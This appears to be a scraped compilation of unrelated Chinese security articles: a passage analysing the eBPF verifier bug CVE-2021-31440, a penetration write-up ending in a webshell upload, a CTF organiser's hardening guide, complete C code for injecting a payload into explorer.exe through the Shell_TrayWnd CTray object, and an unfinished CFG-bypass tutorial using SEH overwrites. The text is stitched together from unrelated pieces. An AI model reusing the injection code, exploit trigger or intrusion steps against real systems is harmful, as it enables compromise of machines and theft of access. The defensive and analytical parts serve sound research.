BPF_EXIT_INSN(),
BPF_MOV32_REG(BPF_REG_0, BPF_REG_0),
BPF_ALU32_IMM(BPF_ADD, BPF_REG_0, 0x70000000),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_0, 31),
在未经过`BPF_JMP_REG(BPF_JGT, BPF_REG_0, BPF_REG_2, 1),`, 条件比较之前，r0寄存器的状态如下：
(gdb) p/x *reg
$5 = {type = 0x1, off = 0x0, {range = 0x0, map_ptr = 0x0, {btf = 0x0, btf_id = 0x0}, mem_size = 0x0, raw = {raw1 = 0x0, raw2 = 0x0}}, id = 0x2, ref_obj_id = 0x0,
var_off = {value = 0x0, mask = 0x7fffffffffffffff}, smin_value = 0x1, smax_value = 0x7fffffffffffffff, umin_value = 0x1, umax_value = 0x7fffffffffffffff,
s32_min_value = 0x80000000, s32_max_value = 0x7fffffff, u32_min_value = 0x0, u32_max_value = 0xffffffff, parent = 0xffff88801f9b2000, frameno = 0x0, subreg_def = 0x0,
live = 0x0, precise = 0x1}
进行比较时，在__reg_combine_64_into_32函数中修改了u32_min_value 的值：
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) {
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value)) // <------ [1]
reg->u32_min_value = (u32)reg->umin_value;
if (__reg64_bound_u32(reg->umax_value)) // <------ [2]
reg->u32_max_value = (u32)reg->umax_value; //更深的成因在于这里没有限制住reg->umax_value,如果大于0xffffffff，到__reg_deduce_bounds函数里就会造成一种类似截断的效果，变成reg->u32_max_value=0xffffffff的范围，所以补丁应该像上述有符号的操作一样，使用&&操作进行判断
// 只有最大值在32位的范围内，64位的最小值才是32位的最小值
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
修改成了：
(gdb) p/x *reg
$7 = {type = 0x1, off = 0x0, {range = 0x0, map_ptr = 0x0, {btf = 0x0, btf_id = 0x0}, mem_size = 0x0, raw = {raw1 = 0x0, raw2 = 0x0}}, id = 0x2, ref_obj_id = 0x0,
var_off = {value = 0x0, mask = 0x7fffffffffffffff}, smin_value = 0x1, smax_value = 0x7fffffffffffffff, umin_value = 0x90000000, umax_value = 0x7fffffffffffffff,
s32_min_value = 0x80000000, s32_max_value = 0x7fffffff, u32_min_value = 0x90000000, u32_max_value = 0xffffffff, parent = 0xffff88801f9b2000, frameno = 0x0,
subreg_def = 0x0, live = 0x0, precise = 0x1}
`__reg_combine_64_into_32`函数中的 [1]处认为reg->umin_value
在32位的范围内，就将reg->u32_min_value 设为 (u32)reg->umin_value;
导致reg->u32_min_value=0x90000000，[2]处导致reg->u32_max_value=0xffffffff，
而后经过__reg32_deduce_bounds 函数：
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and unsigned bounds
* are the same, so combine. This works even in the negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
return;
}
/* Learn sign from unsigned bounds. Signed bounds cross the sign
* boundary, so we must be careful.
*/
if ((s32)reg->u32_max_value >= 0) {
/* Positive. We can't learn anything from the smin, but smax
* is positive, hence safe.
*/
reg->s32_min_value = reg->u32_min_value;
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
} else if ((s32)reg->u32_min_value < 0) { //<----- [1]
/* Negative. We can't learn anything from the smax, but smin
* is negative, hence safe.
*/
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value); // <----- [2]
reg->s32_max_value = reg->u32_max_value;
}
}
[1] 处由于(s32)reg->u32_min_value=(s32)0x90000000 < 0
进入判断，在[2]处对reg->s32_min_value进行赋值，reg->s32_min_value之前的值为0x80000000，取最大值reg->s32_min_value=0x90000000
，reg->s32_max_value=0xffffffff，而条件判断：if r0 <= r2(0x8fffffff)
是64位操作数的比较，32位操作数的范围是不确定的，但现在32位却得到范围[0x90000000,
0xffffffff]，最终我们通过w0=w0单独取出32位进行操作，导致检查范围出现错误，进而提权。
漏洞根本成因在于__reg_combine_64_into_32 对于范围的操作，通过64位的范围影响到了32位的范围。
检查过程如下：
12: (bf) r0 = r5 // r5 为map传进来的数
13: R0_w=invP(id=0) R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
13: (75) if r0 s>= 0x1 goto pc+1 // 对1进行有符号比较
R0_w=invP(id=0,smax_value=0) R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
14: R0_w=invP(id=0,smax_value=0) R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
14: (95) exit
15: R0_w=invP(id=0,umin_value=1,umax_value=9223372036854775807,var_off=(0x0; 0x7fffffffffffffff)) R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
15: (18) r2 = 0x8fffffff // 此时认为r0的范围为：[1,0x7fffffffffffffff]
17: R0_w=invP(id=0,umin_value=1,umax_value=9223372036854775807,var_off=(0x0; 0x7fffffffffffffff)) R2_w=invP2415919103 R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
17: (2d) if r0 > r2 goto pc+1 // 此时对r2进行无符号比较
R0_w=invP(id=0,umin_value=1,umax_value=2415919103,var_off=(0x0; 0xffffffff)) R2_w=invP2415919103 R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
18: R0_w=invP(id=0,umin_value=1,umax_value=2415919103,var_off=(0x0; 0xffffffff)) R2_w=invP2415919103 R5_w=invP(id=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
18: (95) exit // 得到r2的64位范围为[0x90000000,0x7fffffffffffffff]，32位范围为：[0x90000000, 0xffffffff]，这里检查就出现了错误：64位操作数的比较，32位的范围应该是不清楚的，但却得到范围[0x90000000, 0xffffffff]，只要传进来的数32位部分不在此范围，就可以触发漏洞
19: R0=invP(id=0,umin_value=2415919104,umax_value=9223372036854775807,var_off=(0x80000000; 0x7fffffff7fffffff),s32_min_value=-1879048192,s32_max_value=-1) R2=invP2415919103 R5=invP(id=0) R7=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
19: (bc) w0 = w0 // 对64位进行截断，只看32位部分，范围依旧是[0x90000000, 0xffffffff]
20: R0_w=invP(id=0,smin_value=0,umin_value=2415919104,umax_value=4294967295,var_off=(0x80000000; 0x7fffffff),s32_min_value=-1879048192,s32_max_value=-1) R2=invP2415919103 R5=invP(id=0) R7=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
20: (04) w0 += 1879048192 // w0+=0x70000000,得到范围为[0,0x6fffffff]
21: R0_w=invP(id=0,umax_value=1879048191,var_off=(0x0; 0x7fffffff)) R2=invP2415919103 R5=invP(id=0) R7=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
21: (77) r0 >>= 31 // 右移31位，取32位范围的符号位，因为认为范围是[0,0x6fffffff]，所以结果恒为0
22: R0_w=invP0 R2=invP2415919103 R5=invP(id=0) R7=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
而实际运行过程：
12: (bf) r0 = r5 // 传进r5=0x180000000
13: (75) if r0 s>= 0x1 goto pc+1 // r0 >= 0x1, 跳转
14: (95) exit
15: (18) r2 = 0x8fffffff
17: (2d) if r0 > r2 goto pc+1 // r0 > 0x8fffffff，跳转
18: (95) exit
19: (bc) w0 = w0 // 截断，w0 = 0x80000000
20: (04) w0 += 1879048192 // w0+=0x70000000=0xf0000000
21: (77) r0 >>= 31 // r0 >>= 31 = 0xf0000000 >> 31 = 1
所以最终检查认为r0为0，而实际运行r0为1，参照eBPF的漏洞利用，可以完成提权，但现在eBPF模块对越界读写问题开始重新检查，会影响提权利用，在Pwn2Own
2021之后的利用得对这些检查进行绕过。
最新版Ubuntu 20.10 利用效果图：
## 参考链接
<https://www.zerodayinitiative.com/blog/2021/5/26/cve-2021-31440-an-incorrect-bounds-calculation-in-the-linux-kernel-ebpf-verifier> | 社区文章 |
**前言**
小弟新手，大佬勿喷，文章有何不妥，还望大佬们斧正。
**正文**
前端时间打HW，拿到一个IP，先在FOFA上搜一下
发现这个IP现在开放了三个端口，分别是86，83，82对应不同的后台管理系统
先从86端口这个系统入手，界面如图
没有验证码！我喜欢，掏出我的大宝贝300万大字典对着admin就是一顿爆，然而现实是残酷的。。。
搞不到弱密码，随手查看了一下源代码，发现这里登录成功跳转index.html
直接URL输入xxx.xxx.xxx.xxx:86/index.html看看，有一个画面一闪而逝，然后又跳转到登录界面
（单身20年手速截的图）
可以看到已经爆出了部分后台界面，直觉告诉我，这里有东西。掏出BP拦截一下包，让他维持在index.html界面，然后查看源代码
忽略那些UI框架、组件的JS，看一看这个index.js里面写了些什么
可以看到这里的JS至少泄露了三个比较重要的URL接口，通过修改key参数可以进行未授权访问，随便访问其中一个，由于不知道KEY参数的值，那就盲猜一个1吧
这里我首先想到用sql注入，无奈太菜了没有成功，那我就把用户名遍历下来呗，我他喵的不信这么多用户找不到一个123456
结果不一会就出了，嘴上笑嘻嘻心里mmp，早知道一开始就尝试admin2了。。。
进入系统，发现功能少的可怜，就一个上传头像还可以尝试一下，结果。。。
这...直接触及到我的知识盲区，问了一圈也不知道怎么绕过，正当一筹莫展之际，突然想到还有其他的端口呀，说不定是同一个数据库，(因为登录界面基本类似)我拿这个密码直接去撞一下
访问xx.xx.xx.xx:83 admin2 123，直接进入，惊喜.jpg
这个系统功能要复杂的多，并且可以直接上传aspx文件。上传冰蝎马，拿下，打包文档提交
**结论**
实战中往往忽略一些存在的JS文件，这些JS文件有时候会泄露一些敏感的信息，或许就是一个有效的突破口，实战中还是需要细心，不放过每一个点 | 社区文章 |
# CTF主办方指南之对抗搅屎棍
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/9405>
译文仅供参考，具体内容表达以及含义原文为准。
# 0x00 背景
* * *
XDCTF2015是我觉得很给力的一次CTF,题目难度适中,也没出什么乱子,圆满结束了。
向来CTF是很容易出乱子的,有时候乱子来自于自身,比如某年的XDCTF因为学校机房停电导致初赛停顿了几个小时。当然,更多的乱子来自于“黑客”。因为CTF是安全相关的竞赛,自然会吸引很多安全研究者的目光。这里的“黑客”就是指通过各种手段让其他选手没法正常做题的人。
这样的选手一般自称“搅屎棍”~嘿。当然我没有谴责他们的意思,比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉得也是一种能力。但是作为主办方,我们需要尽量让所有选手正常比赛,以保证一定的公平。所以我写这份文档,记录这次比赛我的处理方法。
# 0x01 保证题目质量
* * *
这是一切防御手段的本源。
题目需要难度适中。如果太刁钻,容易让人放弃,并产生报复心理,放弃过后余下的时间就是给你捣蛋的时间。也不能太白痴,太白痴的题目被人分分钟秒了,余下的时间也是用来捣蛋的。
感觉题目难度要让人有这种感觉:这题我会,应该这样做,但好像有个坑,我想想怎么绕过……在一段时间的辛苦后,把题目做出来;或者题目在规定时间没有做出来,看了writeup后恍然大悟。
这样的题目,才会让大家有成就感、学到东西、感激主办方。这样下来,就能减少很多麻烦,一是大家不愿再给主办方添麻烦,二是做题很累也没工夫想别的。
# 0x02 防御第一招——代码层
* * *
有些权限限制,在代码上防御就可以了。
比如这次的web2-100,是一个任意用户密码修改的漏洞。选手在挖掘出漏洞并成功修改前台管理员的密码后,登录进去就能看到flag。Flag是保存在用户文件中的,正常情况下xdsec-cms允许自己删除自己的文件。那么,如果第一个做出这个题目的同学拿到flag后,随手把文件一删,那就没有第二个了。
所以我在删除的代码中,加了个判断:
如果是管理员用户,就直接返回false,不允许其删除。增删改查四个操作,删、改都要加这个判断。当然,好事者可以写个脚本,增加999999个假文件,flag样式都类似,谁也不知道哪个是真flag,也很影响接下来的选手做题。所以严格来说,“增”的地方也需要加这个判断。
搅屎棍还有一个常用的手段,就是“暴力竞争法”。
比如某个题目需要两个步骤,第一步修改用户名为xxx,第二步触发二次注入获得注入结果。那么我写一个脚本,用50个线程不停去修改用户名为一个不相关的名字,这样其他用户就没法正常执行第二个步骤了。(第一个步骤刚完成又被别人改没了)这样的情况下,其他参赛者一般会认为是自己的操作方法错了,直接导致做题的方向偏离。即使参赛者发现是有人在搅屎,也只能去同样写一个脚本,用100个线程跑,才有可能继续做题。
我觉得这样的BUG在出题的时候就可以避免。就拿我举得这个例子来说,我们完全可以出一个多用户的环境,不同用户只能操作自己的用户名,这样就完全避免了上述问题。如果这一点做不到,那么我们就应该按照12306对付刷票产业的方法对付“竞争派搅屎棍”——使用验证码。这样将给竞争脚本的编写带来很大难度,一般也就可以避免这种问题了。
# 0x03防御第二招——服务权限层
* * *
PWN暂时不说,WEB肯定会涉及一些系统服务:web服务、数据库服务、缓存服务等。其中,Web服务又涉及中间件权限和脚本权限。我这里以nginx+php为例,数据库以mysql为例。
在很多ctf初赛中,web题目因为都比较“小”,所以经常是一台服务器放多个web题目。这种情况下权限设置就极为重要。如果一个比赛因为权限没有设置好,导致选手用一个题目的任意文件读取漏洞,或者一个root注入+load_file直接读取到所有题目的源文件。结果好好一个ctf就瞬间变成代码审计比赛了。
所以沙盒环境是这类ctf必不可少的了,沙盒可以是近几年的docker,前几年的“虚拟主机”,或者只是简陋的open_basedir,有总比没有强。Linux沙盒具体怎么布置可以看我的文章:[https://www.leavesongs.com/PENETRATION/nginx-safe-dir.html](https://www.leavesongs.com/PENETRATION/nginx-safe-dir.html),我就不再赘述了。建议就是,一个题目放在一个独立的虚拟主机里。
在同一个题目中,服务权限设置也是极为重要。
比如一个题目是将flag藏在后台管理员密码位置,那么你可以用0x02里说的法方法,这样防范搅屎棍:
1. 管理员不能修改密码
2. 不能删除管理员
3. 不能增加管理员
一旦有忘记的就悲剧了。那么,不妨从根本上解决这个问题:直接去除当前数据库用户对于管理员表的“增”、“删”、“改”权限。在mysql里就是类似GRANT
select ON db.admin TO xxx@localhost,只给予select权限。当然,具体情况具体分析,可以制定出更细致的权限规划。
在pwn中,也有同样的问题。我们遇到了一个需要用户执行命令的题目,在选手成功完成执行命令的目标以后,顺手写了个循环kill,将pwn自己的服务杀掉了,导致其他队伍不能继续做题。这确实是个棘手的问题,因为pwn
fork出的进程权限正常情况下是和pwn一样的,那么不管你再怎么给pwn降权,你也避免不了用户直接kill掉pwn进程。
我能想到的有这样三种解决方法:
1. 重命名或删掉kill、pkill、skill之类的可执行程序
2. 将/usr/bin、/bin、/usr/local/bin等目录的other权限设置为0
3. 使用selinux ,设置security context
法1最简单,但可能考虑不周的,毕竟linux命令那么多。法2比较粗暴,可能导致正常的操作都执行不了。法3应该是最合适的,但配置起来也最麻烦。这个需要看个人能力与ctf的复杂程度、重要性。
# 0x04防御第三招——文件权限层
* * *
如果ctf涉及到文件操作(读取、上传、删除、修改、重命名)的话,就得合理设置文件权限了。
首先,要先了解自己的题目对于文件的操作具体可以允许到怎样的程度:是读取、还是修改,是否允许getshell。这里有个劝告,CTF初赛鱼龙混扎,尽量不要允许选手getshell。Getshell以后,搅屎棍就有无数种方法让你的游戏没法继续进行。
但有时候,题目的考点就是文件上传漏洞,或者任意文件操作漏洞,不getshell怎么验证选手是否达到要求?我这里以此次的web2为例子:web2-400的最终目的是用户getshell,利用的是一个任意文件重命名漏洞,将正常文件重命名为.php后getshell。实际上我这题,最终要检测的是“选手是否成功将文件重命名成.php后缀”。
所以实际上是可以不允许选手真正getshell的,我的做法是:
1. 整站,只有指向index.php和th3r315adm1n.php两个文件的请求才会发送给fastcgi执行:
这样就有效的保证了任意其他php文件都无法执行,这一步主要是为了保证服务器的安全。
2. 3. 所有其他以.php为后缀的请求,如果该文件存在,我就认为用户成功getshell了。这时就将请求rewrite到flag文本文件里,用户得到flag:
因为我这个环境,原本整个web目录只有两个php文件,如果发现存在第三个php文件,那么就肯定是用户的webshell了。
4. 5. 所有请求为“flag-”开头,以“.txt”结尾的,全部返回403。这是为了防止有人直接猜到flag文件名:
这三步下来,就完成了一个“getshell”漏洞的配置,模拟了getshell的情况,却并不真正getshell。
6.
那么,一个文件操作造成的getshell,除了防止选手真正getshell,还需要防范什么?
当然是防范搅屎棍。搅屎棍有一千种方式可以让游戏玩不了:删除/覆盖/重命名正常文件、将正常文件mv走,甚至是“帮助”主办方修改flag,或者修改漏洞文件。对付起来也很简单,我将所有已存在的文件(正常文件)的权限全部改成755,所有者改成root:
这样即使有任意文件操作漏洞,也没权限修改正常文件了。
但大多数cms都会涉及缓存、上传目录、备份目录等等需要写的目录,如果也设置成不可写,cms就运行不了了。比如这次题目,后台有个静态文件下载功能,我不得不将css、js、img等目录的所有者设置为www,使静态目录可写。
熟悉linux权限的同学应该知道,一个文件是否允许被删除,是要看其所在目录的权限。如果我对他所在的目录有写权限,我就可以将其删掉,即使这个文件不属于我。所以,通过后台的删除功能,搅屎棍可以将网站静态文件“删光光”,直接影响后面的选手做题体验。
这种情况怎么办?Linux下的文件有一些“隐藏属性”,我们可以通过lsattr来查看,chattr来修改:
如上图,这是我配置的js目录文件的隐藏权限。
我将所有已存在的js文件全部加上了i标志(chattr +i *),i的意思就是,不允许对文件进行任何修改(包括删除)。
这时候我们可以试试rm:
如图,root用户也没法删除flag文件了。
这就有效地保证了网站文件的安全,搅屎棍没法破坏网站结构与正常功能。巧妙地利用这些系统自带的权限控制能力,就能有效地防范搅屎棍啦!
# 0x05防御第四招——对抗报复社会型搅屎棍
* * *
这类搅屎棍就是真正的“坏人”了,损人不利己,是直接来捣蛋的。比如自己拿下了flag,然后就把flag通过官方QQ群、IRC等渠道告诉所有人,直接破坏游戏的可玩性与公平性。还有比赛的时候DDOS比赛服务器的人。(那是跟你有多大仇)对于这类人,我觉得也没什么好说,该封号的封号,该拉黑的拉黑,尽量让他无法接触参赛选手。同时,服务器的日志要多看看,异常状态可以及时发觉。推荐一个实时日志查看工具——ngxtop:
源码和使用方法可以github上搜。
如果主办方保持一个好的态度,对参赛选手有足够的尊重与耐心,一般是不会出现这类搅屎棍的。归根到底,CTF是一个玩耍与学习的活动,不管是主办方还是参赛者,都可以通过比赛学到很多东西。保持一个良好的心态处理问题,慢慢积累经验,收获都会大大的。
XDCTF2015的一些writeup和资料:
* 选手writeup:[http://t.cn/RyleXYm](http://t.cn/RyleXYm) 密码: imwg
* web2 writeup:[https://github.com/phith0n/XDCTF2015](https://github.com/phith0n/XDCTF2015) | 社区文章 |
原文：<https://modexp.wordpress.com/2018/08/26/process-injection-ctray/>
**引言**
* * *
这种注入方法因被2013年左右出现的[Powerloader](https://github.com/BreakingMalware/PowerLoaderEx
"Powerloader")恶意软件采用而闻名于世。当然，大家都不清楚该技术首次用于进程注入是在什么时候，因为自80年代末或90年代初以来，被利用的功能就一直是Windows操作系统的一部分。额外的Window字节在索引0处的内容可用于将类对象与窗口相关联。此外，我们可以使用SetWindowLongPtr将指向类对象的指针存储到索引0处，同时，还可以使用GetWindowLongPtr检索指针。关于使用“Shell_TrayWnd”作为注入向量的讨论，最早可以追溯到一个名为"Indy（Clerk）"的用户在WASM论坛上的帖子。同时，在2009年左右，也有一些关于它的讨论。
图1显示了“Shell_TrayWnd”类的信息，您可以在其中看到Window字节在索引0处的值已被设置。
图1：Shell_TrayWnd的Window Spy++信息
Windows Spy++在这里并未显示完整的64位值，但如图2所示，GetWindowLongPtr API为同一窗口返回的值。
图2：CTray对象的完整地址
**CTray类**
* * *
这个类中只有三种方法，并且没有任何属性。每个方法的指针都是只读的，因此，我们不能直接用指向有效载荷的指针覆盖指向WndProc的指针。虽然我们可以手动构造对象，但我认为更好的方法是，将现有对象复制到本地内存，覆盖WndProc，并将对象写入资源管理器内存中的新位置。下面的结构可用于定义相应的对象和指针。
// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray;
上述结构提供了在32位和64位系统上替换CTray对象所需的一切。其中，ULONG_PTR的大小在32位系统上是4字节，在64位上是8字节。
**有效载荷**
* * *
这与PROPagate使用的有效载荷代码之间的主要区别在于函数原型方面。如果我们在返回调用者时没有释放相同数量的参数，则可能导致Windows资源管理器或使用与之相关的类的窗口崩溃。
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
// ignore messages other than WM_CLOSE
if (uMsg != WM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2],
szCalc[2];
// WinExec
szWinExec[0]=0x456E6957;
szWinExec[1]=0x00636578;
// calc
szCalc[0] = 0x636C6163;
szCalc[1] = 0;
pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
if(pWinExec != NULL) {
pWinExec((LPSTR)szCalc, SW_SHOW);
}
return 0;
}
**完整的函数代码**
* * *
下面是完成位置无关代码（PIC）的注入任务的函数的完整代码。与所有示例一样，这里省略了错误检查，以便让读者把注意力放到具体注入过程上面。
LPVOID ewm(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
// 1. Obtain a handle for the shell tray window
hw = FindWindow("Shell_TrayWnd", NULL);
// 2. Obtain a process id for explorer.exe
GetWindowThreadProcessId(hw, &pid);
// 3. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Obtain pointer to the current CTray object
ctp = GetWindowLongPtr(hw, 0);
// 5. Read address of the current CTray object
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
// 6. Read three addresses from the virtual table
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
// 7. Allocate RWX memory for code
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 8. Copy the code to target process
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 9. Allocate RW memory for the new CTray object
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Write the new CTray object to remote memory
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
// 11. Set the new pointer to CTray object
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
// 12. Trigger the payload via a windows message
PostMessage(hw, WM_CLOSE, 0, 0);
// 13. Restore the original CTray object
SetWindowLongPtr(hw, 0, ctp);
// 14. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
**小结**
* * *
这种针对窗口对象的注入方法通常属于粉碎窗口攻击类型。尽管随着Windows
Vista引入了用户界面权限隔离（UIPI），这种攻击类型已经得到了一定程度的缓解，但这种注入方法在最新版本的Windows
10上仍然可以奏效。对于这种这种注入技术，[这里](https://github.com/odzhan/injection/tree/master/extrabytes
"这里")提供了一个可以弹计算器的有效载荷的源代码。 | 社区文章 |
# 【技术分享】使用结构化异常处理绕过CFG
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//back-to-basics-or-bypassing-control-flow-guard-with-structured-exception-handler>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
本文所讲的技术基于泄漏栈地址并覆盖结构化异常处理，从而绕过CFG。
为了方便绕过，我再次选择了使用IE11的漏洞（MS16-063），在我之前的绕过CFG的文章中使用过（[1](https://improsec.com/blog/bypassing-control-flow-guard-in-windows-10)，[2](https://improsec.com/blog/bypassing-control-flow-guard-on-windows-10-part-ii)）。
**0x01 泄漏栈**
我已经有了PoC文件Clean_PoC.html，其利用漏洞获得一个读写原语，但是不够深入。在下个PoC文件Leaking_Stack.html中能泄漏当前线程的堆栈限制，这个可以通过使用kernelbase.dll中的GetCurrentThreadStackLimits做到。它执行的方法是，通过覆盖TypedArray对象的虚函数表，并使用下面的调用：
在虚表偏移0x188处，能直接在javascript代码中调用，并且有两个参数，这是重要的，因为这个函数必须有相同数量的参数，否则堆栈不会平衡会触发异常。
GetCurrentThreadStackLimits满足Javascript的调用要求，MSDN中介绍如下：
它有两个参数，并返回栈基址和栈的最大保留地址。通过两步能找到GetCurrentThreadStackLimits的地址，首先泄漏一个kernelbase.dll的指针，然后在DLL中定位函数。第一部分能通过在定位jscript9中的Segment：：Initialize函数来完成，因为他使用了kernel32！VirtualAllocStub，继而调用kernelbase!VirtualAlloc。我通过扫描jscript9的虚函数地址并计算哈希找到了这个函数，然后使用读原语。算法如下：
通过5个DWORD相加，每次向前一个字节遍历直到正确的哈希被找到。调用Kernel32！VirtualAlloc的位置在Segment：：Initialize中偏移0x37处：
读取指针得到：
在偏移0x6处包含了跳转向kernelbase！VirtualAlloc：
现在我们有了kernelbase.dll的地址，然后我们使用和Segment：：Initialize一样的方法找到GetCurrentThreadStackLimits的地址，代码如下：
我们现在像Theori的原始利用中一样创建一个假的虚表，并在这个函数指针的偏移0x188处覆盖虚表入口，同时记住增大TypedArray的参数大小，代码如下：
运行并在GetCurrentThreadStackLimits中打断点：
上图显示了栈的上下限制。为了从这得到能控制的指令指针，我定位了栈中的SEH链，并覆盖了一个入口，然后触发异常。虽然做了这些，但是需要记住的是Windows
10开启了SEHOP。因为SEH指针不被CFG保护，这将能绕过CFG和RFG。这些实现在文件Getting_Control.html中。
为了实现这个，我需要定位栈中的SEH链，泄漏栈限制后的SEH链如下：
调试异常将变得很清晰，5个异常处理指针指向jscript9，同时MSHTML！_except_handler4似乎是个死循环。因此如果我们能覆盖5个javascript异常中的任意一个，并触发一个异常，我们将得到可控制的指令指针。在古老过时的SEH覆盖利用中通常是通过栈缓冲区溢出来覆盖SEH链，但是这将触发SEHOP，因此我们只想覆盖一个异常处理的SEH记录同时保持NSEH完整。因此这个覆盖必须精确，且SEH记录的栈地址必须泄漏。为了完成这次泄漏，我们将扫描栈，搜索SEH链，为了确保我们找到它，我们能验证最后一个异常处理是ntdll!FinalExceptionHandlerPadXX。因为最后一个异常处理函数会随着程序重启而改变，因此泄漏分为两步，首先找到正确的最后一个异常处理函数，然后再是SEH链。为了完成第一个泄漏，搜索栈中ntdll！_except_handler4，因为在栈中上下搜索它只会遇到一次：
剩下的问题是，找到ntdll!_except_handler4的地址，但是这非常简单，因为能从任何被CFG保护的函数中找到ntdll.dll的指针并包含一个间接调用。CFG的验证包含ntdll!LdrpValidateUserCallTarget的调用，并且jscript9被CFG保护，任意间接调用的函数都包含ntdll.dll的指针。在TypedArray对象虚表中偏移0x10处就有这么一个函数：
使用读原语，找到ntdll.dll的指针的代码如下：
通过使用读原语搜索特征或哈希能从ntdll.dll中能得到_except_handler4的地址，_except_handler4看起来如下：
头0x10个字节总是相同的且非常特别，因此可以使用哈希搜索：
上面的函数使用了ntdll.dll的指针作为参数。一旦我们找到了函数指针，我们能搜索栈：
在这个地址，有如下：
因为这在那之前的DWORD能被读取并包含：
